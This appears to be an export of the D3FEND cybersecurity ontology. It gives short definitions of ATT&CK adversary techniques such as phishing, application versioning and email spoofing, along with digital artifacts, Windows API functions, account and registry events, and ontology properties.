definition: Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing”. Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.
subclass of: ATTACKMobileInitialAccessTechnique
preferred label: Phishing

Application Versioning - ATTACK Mobile
type: Class
attack-id: T1661
definition: An adversary may push an update to a previously benign application to add malicious code. This can be accomplished by pushing an initially benign, functional application to a trusted application store, such as the Google Play Store or the Apple App Store. This allows the adversary to establish a trusted userbase that may grant permissions to the application prior to the introduction of malicious code. Then, an application update could be pushed to introduce malicious code.(Citation: android_app_breaking_bad)
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobileInitialAccessTechnique
preferred label: Application Versioning

Data Destruction - ATTACK Mobile
type: Class
attack-id: T1662
definition: Adversaries may destroy data and files on specific devices or in large numbers to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.
subclass of: ATTACKMobileImpactTechnique
preferred label: Data Destruction

Remote Access Software - ATTACK Mobile
type: Class
attack-id: T1663
definition: Adversaries may use legitimate remote access software, such as `VNC`, `TeamViewer`, `AirDroid`, `AirMirror`, etc., to establish an interactive command and control channel to target mobile devices.
subclass of: ATTACKMobileCommandAndControlTechnique
preferred label: Remote Access Software

Exploitation for Initial Access - ATTACK Mobile
type: Class
attack-id: T1664
definition: Adversaries may exploit software vulnerabilities to gain initial access to a mobile device.
subclass of: ATTACKMobileInitialAccessTechnique
preferred label: Exploitation for Initial Access

Hide Infrastructure
type: Class
attack-id: T1665
definition: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.
subclass of: CommandAndControlTechnique

Modify Cloud Resource Hierarchy
type: Class
attack-id: T1666
definition: Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses.
subclass of: DefenseEvasionTechnique

Email Bombing
type: Class
attack-id: T1667
definition: Adversaries may flood targeted email addresses with an overwhelming volume of messages. This may bury legitimate emails in a flood of spam and disrupt business operations.(Citation: sophos-bombing)(Citation: krebs-email-bombing)
subclass of: ImpactTechnique

Exclusive Control
type: Class
attack-id: T1668
definition: Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system.
subclass of: PersistenceTechnique

Wi-Fi Networks
type: Class
attack-id: T1669
definition: Adversaries may gain initial access to target systems by connecting to wireless networks. They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks — requiring [Valid Accounts](https://attack.mitre.org/techniques/T1078) — belonging to a target organization.(Citation: DOJ GRU Charges 2018)(Citation: Nearest Neighbor Volexity) Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection.
subclass of: InitialAccessTechnique

Virtualization Solution - ATTACK Mobile
type: Class
attack-id: T1670
definition: Adversaries may carry out malicious operations using virtualization solutions to escape from Android sandboxes and to avoid detection. Android uses sandboxes to separate resources and code execution between applications and the operating system.(Citation: Android Application Sandbox) There are a few virtualization solutions available on Android, such as the Android Virtualization Framework (AVF).(Citation: Android AVF Overview)
subclass of: ATTACKMobileDefenseEvasionTechnique
preferred label: Virtualization Solution

Cloud Application Integration
type: Class
attack-id: T1671
definition: Adversaries may achieve persistence by leveraging OAuth application integrations in a software-as-a-service environment. Adversaries may create a custom application, add a legitimate application into the environment, or even co-opt an existing integration to achieve malicious ends.(Citation: Push Security SaaS Persistence 2022)(Citation: SaaS Attacks GitHub Evil Twin Integrations)
subclass of: PersistenceTechnique

Email Spoofing
type: Class
attack-id: T1672
definition: Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity.
subclass of: DefenseEvasionTechnique

Virtual Machine Discovery
type: Class
attack-id: T1673
definition: An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a [Hypervisor CLI](https://attack.mitre.org/techniques/T1059/012) such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list or vim-cmd vmsvc/getallvms`).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: TrendMicro Play) Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host.
subclass of: DiscoveryTechnique

Input Injection
type: Class
attack-id: T1674
definition: Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).
subclass of: ExecutionTechnique

ESXi Administration Command
type: Class
attack-id: T1675
definition: Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux.(Citation: Broadcom VMware Tools Services)
subclass of: ExecutionTechnique

TFTP Server
type: Class
definition: Trivial File Transfer Protocol (TFTP) is a simple file transfer protocol, typically used to automatically transfer configuration or boot files between machines. It is used where user authentication and directory visibility are not required.
subclass of: Server

Tablet Computer
type: Class
definition: A tablet computer, commonly shortened to tablet, is a mobile device, typically with a mobile operating system and touchscreen display processing circuitry, and a rechargeable battery in a single, thin and flat package. Tablets, being computers, do what other personal computers do, but lack some input/output (I/O) abilities that others have. Modern tablets largely resemble modern smartphones, the only differences being that tablets are relatively larger than smartphones, with screens 7 inches (18 cm) or larger, measured diagonally, and may not support access to a cellular network.
subclass of: PersonalComputer
alternative label: Tablet

Telecommand
type: Class
definition: A telecommand or telecontrol is a command sent to control a remote system or systems not directly connected (e.g. via wires) to the place from which the telecommand is sent.
synonym: Remote Control Command
subclass of: RemoteCommand

Temporal Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-TL
definition: Temporal logic addresses the semantics of tense; i.e., qualifying expressions of when.
kb-article: ## References 1. Temporal logic. (2023, June 4). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Modal_logic#Temporal_logic)
subclass of: ModalLogic

Tertiary Storage
type: Class
definition: Tertiary storage or tertiary memory is memory primarily used for archiving rarely accessed information. It is primarily useful for extraordinarily large data stores. Typical examples include tape libraries and optical jukeboxes.
subclass of: HardwareDevice
subclass of: SecondaryStorage

Thread Start Function
type: Class
type: NamedIndividual
definition: A function which invokes a create thread system call.
executes: Thread
subclass of: Restriction
  on property: executes
  some values from: Thread
subclass of: Subroutine

Trajectory Prediction
type: Class
subclass of: Forecasting

Transceiver
type: Class
type: NamedIndividual
contains: Receiver
contains: Transmitter
definition: A transceiver is a device that contains both a transmitter and receiver.
subclass of: Restriction
  on property: contains
  some values from: Transmitter
subclass of: Restriction
  on property: contains
  some values from: Receiver
subclass of: HardwareDevice

Transducer Sensor
type: Class
definition: A Transducer Sensor converts physical signals into digital data for monitoring purposes.
subclass of: Sensor

Transformer-XL
type: Class
type: NamedIndividual
d3fend-id: D3A-TX
definition: Transformer-XL is a transformer architecture that introduces the notion of recurrence to the deep self-attention network. Instead of computing the hidden states from scratch for each new segment, Transformer-XL reuses the hidden states obtained in previous segments.
kb-article: ## References Transformer-XL. (n.d.). Papers with Code. [Link](https://paperswithcode.com/method/transformer-xl)
subclass of: Transformer-basedLearning

Transport Link
type: Class
definition: A Transport Link is a type of logical link that exists at the transport layer of a network or system architecture.
subclass of: LogicalLink

Trusted Administrator Attacker
type: Class
definition: A trusted attacker who misuses administrative access to execute attacks, often with elevated privileges.
subclass of: Restriction
  on property: accesses
  some values from: Privileged User Account
subclass of: TrustedAttacker

Trusted User Attacker
type: Class
definition: A trusted attacker who abuses regular user-level access privileges to compromise systems or data.
subclass of: Restriction
  on property: accesses
  some values from: DomainUserAccount
subclass of: Restriction
  on property: accesses
  some values from: LocalUserAccount
subclass of: Restriction
  on property: accesses
  some values from: DefaultUserAccount
subclass of: TrustedAttacker

Tunnel Close Event
type: Class
definition: An event where a network tunnel is terminated, ending encapsulated communication and releasing the associated resources.
subclass of: Restriction
  on property: preceded-by
  some values from: TunnelOpenEvent
subclass of: TunnelEvent

Tunnel Renew Event
type: Class
definition: An event where the lifecycle of a network tunnel is extended, ensuring continued encapsulated communication and avoiding session expiration.
subclass of: Restriction
  on property: preceded-by
  some values from: TunnelOpenEvent
subclass of: TunnelEvent

Uncertainty Sampling
type: Class
type: NamedIndividual
d3fend-id: D3A-US
definition: Makes the utility inversely proportional to the uncertainty of the model with respect to the sample and will work with any model provided it can assess its uncertainty of a predection.
kb-article: ## References Intro to Active Learning. inovex Blog. [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).
subclass of: ActiveLearning

Unit Test Execution Tool
type: Class
definition: An unit test execution tool automatically performs unit testing. Unit testing is a software testing method by which individual units of source code are tested to determine whether they are fit for use. Unit test execution tools work with sets of one or more computer program modules together with associated control data, usage procedures, and operating procedures. This contrasts with integration testing, which tests inter-unit dependencies and the modules as a group.
subclass of: TestExecutionTool

Unix Hard Link
type: Class
definition: A Unix hard link is a hard link on a Unix file system.
subclass of: HardLink
subclass of: UnixLink

Unload Library Event
type: Class
definition: An event where a process unloads a dynamically linked library or module, reducing its memory footprint or functionality.
subclass of: Restriction
  on property: preceded-by
  some values from: Load Library Event
subclass of: Restriction
  on property: has-participant
  some values from: SharedLibraryFile
subclass of: ProcessEvent

Use Case Goal
type: Class
subclass of: Goal

Use Case Procedure
type: Class
subclass of: Procedure

Use Case Step
type: Class
subclass of: Step

User Account Deletion Event
type: Class
definition: An event representing the permanent deletion of a user account from a system or domain.
subclass of: Restriction
  on property: preceded-by
  some values from: UserAccountCreationEvent
subclass of: UserAccountEvent

User Account Detach Policy Event
type: Class
definition: An event where an IAM policy is detached from a user account.
subclass of: Restriction
  on property: preceded-by
  some values from: User Account Attach Policy Event
subclass of: UserAccountEvent

User Account Disable Event
type: Class
definition: An event where a user account is disabled, preventing its active use within the system.
subclass of: Restriction
  on property: preceded-by
  some values from: User Account Enable Event
subclass of: UserAccountEvent

User Account Lock Event
type: Class
definition: An event where a user account is locked out due to failed authentication attempts or administrative action.
subclass of: Restriction
  on property: preceded-by
  some values from: UserAccountCreationEvent
subclass of: UserAccountEvent

User Account MFA Disable Event
type: Class
definition: An event where multi-factor authentication (MFA) is disabled for a user account.
subclass of: Restriction
  on property: preceded-by
  some values from: User Account MFA Enable Event
subclass of: UserAccountEvent

User Account Password Change Event
type: Class
definition: An event where a user account's password is modified, typically by the user or an administrator.
subclass of: Restriction
  on property: has-participant
  some values from: Credential
subclass of: Restriction
  on property: preceded-by
  some values from: UserAccountCreationEvent
subclass of: UserAccountEvent

User Account Password Reset Event
type: Class
definition: An event where a user account's password is reset, typically due to a forgotten password or administrative action.
subclass of: Restriction
  on property: has-participant
  some values from: Credential
subclass of: Restriction
  on property: preceded-by
  some values from: UserAccountCreationEvent
subclass of: UserAccountEvent

User Account Update Event
type: Class
definition: An event capturing updates to a user account, including changes to its attributes or configuration.
subclass of: Restriction
  on property: preceded-by
  some values from: UserAccountCreationEvent
subclass of: UserAccountEvent

User Behavior
type: Class
type: NamedIndividual
contains: UserAction
definition: A user behavior is a pattern of user actions, or set of such patterns. Modeling and analyzing these patterns and monitoring a users actions for meaningful anomalies is known as user behavior analytics (UBA).
subclass of: Restriction
  on property: contains
  some values from: UserAction
subclass of: DigitalInformationBearer

User Profile
type: Class
definition: A user profile is a collection of settings and information associated with a user. It contains critical information that is used to identify an individual, such as their name, age, portrait photograph and individual characteristics such as knowledge or expertise.
subclass of: DigitalInformationBearer

User Startup Directory
type: Class
type: NamedIndividual
contains: UserStartupScriptFile
definition: A user startup directory holds information necessary to start the users session with the system.
subclass of: Restriction
  on property: contains
  some values from: UserStartupScriptFile
subclass of: UserLogonInitResource

VPN Server
type: Class
definition: A VPN server is a type of server that enables hosting and delivery of VPN services. It is a combination of VPN hardware and software technologies that provides VPN clients with connectivity to a secure and/or private network, or rather, the VPN.
subclass of: Server

Variance Reduction
type: Class
type: NamedIndividual
d3fend-id: D3A-VR
definition: Leverages a well-known result from statistical learning and decomposes the model error into a data noise term, a model bias term and a model variance term. As the noise term only depends on the data and the bias is induced by the choice of model, any reduction in the error can only come from the variance term.
kb-article: ## References Intro to Active Learning. inovex Blog. [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).
subclass of: ActiveLearning

Vector Image File
type: Class
type: NamedIndividual
contains: VectorImage
definition: A file that contains graphics data represented by vectors.
subclass of: Restriction
  on property: contains
  some values from: VectorImage
subclass of: ImageFile

Vendor
type: Class
definition: A vendor sells or supplies goods and services to customers.
subclass of: Provider

Version Control Tool
type: Class
definition: Version control tools are tools that used to conduct version control. A component of software configuration management, version control, also known as revision control, source control, or source code management systems are systems responsible for the management of changes to documents, computer programs, large web sites, and other collections of information. Changes are usually identified by a number or letter code, termed the "revision number", "revision level", or simply "revision". For example, an initial set of files is "revision 1". When the first change is made, the resulting set is "revision 2", and so on. Each revision is associated with a timestamp and the person making the change. Revisions can be compared, restored, and with some types of files, merged.
subclass of: DeveloperApplication
alternative label: Revision Control
alternative label: Source Control

Voting
type: Class
type: NamedIndividual
d3fend-id: D3A-VOT
definition: Voting is another form of ensembling.
kb-article: ## References Ensemble learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Ensemble_learning).
subclass of: EnsembleLearning

WHOIS Compatible Domain Registration
type: DomainRegistration
type: NamedIndividual

Web API Resource
type: Class
definition: A web API resource is an API resource identified by a Uniform Resource Identifier (URI) and made available from one host to another host via a web protocol and across a network or networks.
subclass of: WebResource

Web Access Token
type: Class
definition: A web access token is a credential that allows a web client application to access a specific resource to perform specific actions on behalf of the user.
synonym: WAT
subclass of: SessionToken

Web Application Firewall
type: Class
definition: A web application firewall (or WAF) filters, monitors, and blocks HTTP traffic to and from a web application. A WAF is differentiated from a regular firewall in that a WAF is able to filter the content of specific web applications while regular firewalls serve as a safety gate between servers. By inspecting HTTP traffic, it can prevent attacks stemming from web application security flaws, such as SQL injection, cross-site scripting (XSS), file inclusion, and security misconfigurations.
subclass of: Application Layer Firewall
alternative label: WAF

Web Application Server
type: Class
type: NamedIndividual
definition: A web application server is a web server that hosts applications. Application server frameworks are software frameworks for building application servers. An application server framework provides both facilities to create web applications and a server environment to run them. In the case of Java application servers, the server behaves like an extended virtual machine for running applications, transparently handling connections to the database on one side, and, often, connections to the Web client on the other.
runs: WebApplication
subclass of: Restriction
  on property: runs
  some values from: WebApplication
subclass of: WebServer

Web Identity Token
type: Class
type: NamedIndividual
definition: An ID token is an artifact that proves that the user has been authenticated.
kb-article: ## How it works An ID token is proof of the user's authentication. An ID token is encoded as a JSON Web Token (JWT), a standard format that allows your application to easily inspect its content, and make sure it comes from the expected issuer and that no one else changed it.
signed-by: CryptographicKey
synonym: Identity Token
subclass of: Restriction
  on property: signed-by
  some values from: CryptographicKey
subclass of: Credential

Web Server Application
type: Class
definition: A web server application handles HTTP requests from clients, serves static content, and may act as a reverse proxy or load balancer.
subclass of: ServiceApplication

Web Socket URL
type: URL
type: NamedIndividual

Windows OpenFile
type: Class
type: NamedIndividual
definition: Creates, opens, reopens, or deletes a file.
invokes: WindowsNtOpenFile
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtOpenFile
subclass of: OSAPICreateFile
subclass of: OSAPIOpenFile

Windows Batch File
type: ExecutableScript
type: NamedIndividual

Windows CreateFileA
type: Class
type: NamedIndividual
definition: Creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. The function returns a handle that can be used to access the file or device for various types of I/O depending on the file or device and the flags and attributes specified.
invokes: WindowsNtCreateFile
invokes: WindowsNtCreateMailslotFile
invokes: WindowsNtCreateNamedPipeFile
invokes: WindowsNtCreatePagingFile
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtCreatePagingFile
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtCreateMailslotFile
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtCreateFile
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtCreateNamedPipeFile
subclass of: OSAPICreateFile
subclass of: OSAPIOpenFile

Windows CreateProcessA
type: Class
type: NamedIndividual
definition: Creates a new process and its primary thread. The new process runs in the security context of the calling process.
invokes: WindowsNtCreateProcess
invokes: WindowsNtCreateProcessEx
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtCreateProcess
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtCreateProcessEx
subclass of: OSAPICreateProcess

Windows CreateRemoteThread
type: Class
type: NamedIndividual
definition: Creates a thread that runs in the virtual address space of another process.
invokes: WindowsNtCreateThreadEx
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtCreateThreadEx
subclass of: OSAPICreateThread

Windows CreateThread
type: Class
type: NamedIndividual
definition: Creates a thread to execute within the virtual address space of the calling process.
invokes: WindowsNtCreateThread
invokes: WindowsNtCreateThreadEx
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtCreateThreadEx
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtCreateThread
subclass of: OSAPICreateThread

Windows DeleteFile
type: Class
type: NamedIndividual
definition: Deletes an existing file.
invokes: WindowsNtDeleteFile
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtDeleteFile
subclass of: OSAPIDeleteFile

Windows DuplicateToken
type: Class
type: NamedIndividual
definition: The DuplicateToken function creates a new access token that duplicates one already in existence.
invokes: WindowsNtDuplicateToken
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtDuplicateToken
subclass of: OSAPICopyToken

Windows GetThreadContext
type: Class
type: NamedIndividual
definition: Retrieves the context of the specified thread.
invokes: WindowsNTGetThreadContext
subclass of: Restriction
  on property: invokes
  some values from: WindowsNTGetThreadContext
subclass of: OSAPIGetThreadContext

Windows NtAllocateVirtualMemoryEx
type: Class
subclass of: OSAPIAllocateMemory

Windows NtSetInformationFile Argument FileDispositionInformation
type: Class
definition: Request to delete the file when it is closed or cancel a previously requested deletion.
subclass of: OSAPIDeleteFile

Windows NtSuspendProcess
type: Class
subclass of: OSAPISuspendProcess

Windows OpenProcess
type: Class
type: NamedIndividual
definition: Opens an existing local process object.
invokes: WindowsNtOpenProcess
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtOpenProcess
subclass of: OSAPITraceProcess

Windows OpenThread
type: Class
type: NamedIndividual
definition: Opens an existing thread object.
invokes: WindowsNtOpenThread
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtOpenThread
subclass of: OSAPITraceThread

Windows Process
type: Process
type: NamedIndividual

Windows QueryPerformanceCounter
type: Class
type: NamedIndividual
definition: Retrieves the current value of the performance counter, which is a high resolution (<1us) time stamp that can be used for time-interval measurements.
invokes: WindowsNtQuerySystemTime
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtQuerySystemTime
subclass of: OSAPIGetSystemTime

Windows ReadFile
type: Class
type: NamedIndividual
definition: Reads data from the specified file or input/output (I/O) device. Reads occur at the position specified by the file pointer if supported by the device.
invokes: WindowsNtReadFile
invokes: WindowsNtReadFileScatter
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtReadFileScatter
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtReadFile
subclass of: OSAPIReadFile

Windows Registry Key Deletion Event
type: Class
definition: An event representing the removal of a registry key from the Windows Registry, including its hierarchical structure and associated metadata.
subclass of: Restriction
  on property: preceded-by
  some values from: WindowsRegistryKeyCreationEvent
subclass of: WindowsRegistryKeyEvent

Windows Registry Key Export Event
type: Class
definition: An event representing the export of registry key data from the Windows Registry to an external file or format.
subclass of: Restriction
  on property: preceded-by
  some values from: WindowsRegistryKeyCreationEvent
subclass of: WindowsRegistryKeyEvent

Windows Registry Key Read Event
type: Class
definition: An event where a registry key is accessed to query its structure, properties, or associated metadata without modifying its state.
subclass of: Restriction
  on property: preceded-by
  some values from: WindowsRegistryKeyCreationEvent
subclass of: WindowsRegistryKeyEvent

Windows Registry Key Renaming Event
type: Class
definition: An event where the name of a registry key is changed, altering its identifier within the registry hierarchy.
subclass of: Restriction
  on property: preceded-by
  some values from: WindowsRegistryKeyCreationEvent
subclass of: WindowsRegistryKeyEvent

Windows Registry Key Restore Event
type: Class
definition: An event where a registry key is restored to a previous state using a backup or recovery mechanism.
subclass of: WindowsRegistryKeyEvent

Windows Registry Key Set Security Event
type: Class
definition: An event representing the application or modification of access controls or security settings to a registry key.
subclass of: Restriction
  on property: preceded-by
  some values from: WindowsRegistryKeyCreationEvent
subclass of: WindowsRegistryKeyEvent

Windows Registry Key Update Event
type: Class
definition: An event where an existing registry key is updated or reconfigured, reflecting changes to its metadata or properties.
subclass of: Restriction
  on property: preceded-by
  some values from: WindowsRegistryKeyCreationEvent
subclass of: WindowsRegistryKeyEvent

Windows Registry Value Deletion Event
type: Class
definition: An event where a registry value is deleted from the Windows Registry, permanently removing its associated data.
subclass of: Restriction
  on property: preceded-by
  some values from: WindowsRegistryValueSetEvent
subclass of: WindowsRegistryValueEvent

Windows Registry Value Get Event
type: Class
definition: An event where the data of a registry value is retrieved, typically to read its configuration or state.
subclass of: Restriction
  on property: preceded-by
  some values from: WindowsRegistryValueSetEvent
subclass of: WindowsRegistryValueEvent

Windows Registry Value Update Event
type: Class
definition: An event indicating changes to the data or configuration of an existing registry value within the Windows Registry.
subclass of: Restriction
  on property: preceded-by
  some values from: WindowsRegistryValueSetEvent
subclass of: WindowsRegistryValueEvent

Windows ResumeThread
type: Class
type: NamedIndividual
definition: Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.
invokes: WindowsNtResumeThread
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtResumeThread
subclass of: OSAPIResumeThread

Windows SetThreadContext
type: Class
type: NamedIndividual
definition: Sets the context for the specified thread.
invokes: WindowsNtSetThreadContext
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtSetThreadContext
subclass of: OSAPISetThreadContext

Windows SuspendThread
type: Class
type: NamedIndividual
definition: Suspends the specified thread.
invokes: WindowsNtSuspendThread
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtSuspendThread
subclass of: OSAPISuspendThread

Windows TerminateProcess
type: Class
type: NamedIndividual
definition: Terminates the specified process and all of its threads.
invokes: WindowsNtTerminateProcess
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtTerminateProcess
subclass of: OSAPITerminateProcess

Windows VirtualAllocEx
type: Class
type: NamedIndividual
definition: Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.
invokes: WindowsNtAllocateVirtualMemory
invokes: WindowsNtProtectVirtualMemory
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtProtectVirtualMemory
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtAllocateVirtualMemory
subclass of: OSAPIAllocateMemory

Windows VirtualFree
type: Class
type: NamedIndividual
definition: Releases, decommits, or releases and decommits a region of pages within the virtual address space of the calling process.
invokes: WindowsNtFreeVirtualMemory
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtFreeVirtualMemory
subclass of: OSAPIFreeMemory

Windows VirtualProtectEx
type: Class
type: NamedIndividual
definition: Changes the protection on a region of committed pages in the virtual address space of a specified process.
invokes: WindowsNtAllocateVirtualMemory
invokes: WindowsNtProtectVirtualMemory
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtAllocateVirtualMemory
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtProtectVirtualMemory
subclass of: OSAPIAllocateMemory

Windows WriteFile
type: Class
type: NamedIndividual
definition: Writes data to the specified file or input/output (I/O) device.
invokes: WindowsNtWriteFile
invokes: WindowsNtWriteFileGather
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtWriteFile
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtWriteFileGather
subclass of: OSAPIWriteFile

Windows WriteProcessMemory
type: Class
type: NamedIndividual
definition: Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
invokes: WindowsNtFlushInstructionCache
invokes: WindowsNtProtectVirtualMemory
invokes: WindowsNtWriteVirtualMemory
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtProtectVirtualMemory
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtWriteVirtualMemory
subclass of: Restriction
  on property: invokes
  some values from: WindowsNtFlushInstructionCache
subclass of: OSAPIWriteMemory

Wired Link
type: Class
definition: A physical link that uses a physical conductor or waveguide to constrain and direct signal propagation between endpoints. The signal is confined within or along a manufactured medium such as metal conductors, optical fibers, or coaxial structures.
subclass of: PhysicalLink

Wireless Attacker
type: Class
definition: An attacker who targets wireless communication methods, like Wi-Fi, without needing physical access to the premises.
subclass of: Restriction
  on property: accesses
  some values from: Wireless Router
subclass of: Restriction
  on property: accesses
  some values from: WirelessAccessPoint
subclass of: Restriction
  on property: accesses
  some values from: PhysicalLink
subclass of: RemoteAttacker

Wireless Link
type: Class
definition: A physical link that transmits signals through free space or an unguided medium without physical connectors between endpoints. The signal propagates through air, vacuum, water, or other natural media using electromagnetic waves or acoustic energy.
subclass of: PhysicalLink

Write Protect Switch
type: Class
type: NamedIndividual
definition: A physical device used to restrict configuration of a device.
restricts: Storage
see also: NIST SP 800-82r3, Appendix F, SC-51 Hardware-Based Protection
subclass of: Restriction
  on property: restricts
  some values from: Storage
subclass of: HardwareDevice

X86 Code Segment
type: ImageCodeSegment
type: ProcessCodeSegment
type: NamedIndividual

Zero Client Computer
type: Class
definition: Zero client is also referred as ultra thin client, contains no moving parts but centralizes all processing and storage to just what is running on the server. As a result, it requires no local driver to install, no patch management, and no local operating system licensing fees or updates. The device consumes very little power and is tamper-resistant and completely incapable of storing any data locally, providing a more secure endpoint.
subclass of: Thin Client Computer

abuses
type: ObjectProperty
definition: x abuses y: The entity x applies an artifact y to a wrong thing or person; x applies y badly or incorrectly.
sub property of: uses
alternative label: misapplies
alternative label: misuses

access-mediated-by
type: ObjectProperty
definition: x access-mediated-by y: The entity or resource x has its access regulated, controlled, or facilitated by entity y, which acts as an intermediary or gatekeeper to enforce access control policies.
sub property of: associated-with
inverse of: mediates-access-to

archived-at
type: DatatypeProperty
range: anyURI
sub property of: d3fend-catalog-data-property

attack-id
type: AnnotationProperty
definition: x attack-id y: The offensive technique x has the att&ck unique id of y.
domain: OffensiveTechnique
range: string
sub property of: attack-kb-annotation

attack-kb-data-property
type: DatatypeProperty
alternative label: attack-kb-property

date available
type: DatatypeProperty
definition: Date that the resource became or will become available.
range: dateTime
sub property of: date

broader
type: ObjectProperty
definition: x broader y: The entity x represents a more general or inclusive concept than entity y.
sub property of: semantic-relation

broader-transitive
type: ObjectProperty
definition: x broader-transitive y: The entity x represents a more general concept than entity y, including indirect or hierarchical relationships where x encompasses y through intermediate entities.
sub property of: semantic-relation

capec-id
type: DatatypeProperty
definition: Unique identifier for a CAPEC technique, i.e. a common attack pattern identified by the pattern CAPEC-[number].
sub property of: d3fend-kb-data-property

carried-by
type: ObjectProperty
definition: x carried-by y: The information entity x is dependent upon the entity y for its storage, transport, or communication. Entity y serves as the necessary bearer or link from which x can be recovered or interpreted.
sub property of: associated-with
inverse of: carries

comments
type: DatatypeProperty
type: FunctionalProperty
definition: x comments y: x claim has provider comments y.
range: string
sub property of: d3fend-catalog-data-property

confidence
type: DatatypeProperty
sub property of: d3fend-catalog-data-property

controlled-by
type: ObjectProperty
definition: x controlled-by y: x's operation or behavior is directed or regulated by y.
sub property of: associated-with
inverse of: controls

date created
type: DatatypeProperty
definition: Date of creation of the resource.
range: dateTime
sub property of: date

cwe-id
type: AnnotationProperty
sub property of: cwe-kb-annotation

d3fend-display-property
type: DatatypeProperty
definition: x d3fend-display-property y: An object x should be displayed using the display property y, when it applies.
sub property of: d3fend-data-property

deceives
type: ObjectProperty
sub property of: counters

decodes
type: ObjectProperty
definition: x decodes y: Entity x transforms data y to a different form, usually through decompression.
sub property of: associated-with

definition
type: AnnotationProperty
definition: x definition y: The d3fend object x has the definition y.
sub property of: d3fend-annotation

description
type: AnnotationProperty
definition: A statement that represents something in words.
sub property of: d3fend-catalog-annotation-property

display-baseurl
type: AnnotationProperty
definition: A base string to use as prefix to create a full URL for an entity. The baseurl must end in a forward slash: /
sub property of: d3fend-display-annotation

display-order
type: AnnotationProperty
definition: x display-order y: An object x should be displayed in ordinal position y when placed or listed in a d3fend display with other objects of its kind.
sub property of: d3fend-display-annotation

display-priority
type: AnnotationProperty
sub property of: d3fend-display-annotation

employed-by
type: ObjectProperty
definition: x employed-by y: An entity x is put into service by a technique or agent y. Inverse of y employs x.
sub property of: associated-with
inverse of: employs

encodes
type: ObjectProperty
definition: x encodes y: Entity x transforms data y to a different form, usually through compression.
sub property of: associated-with

evaluated-by
type: ObjectProperty
definition: x evaluated-by y: The entity x is assessed and analyzed by entity y.
sub property of: associated-with
inverse of: evaluates

exactly
type: ObjectProperty
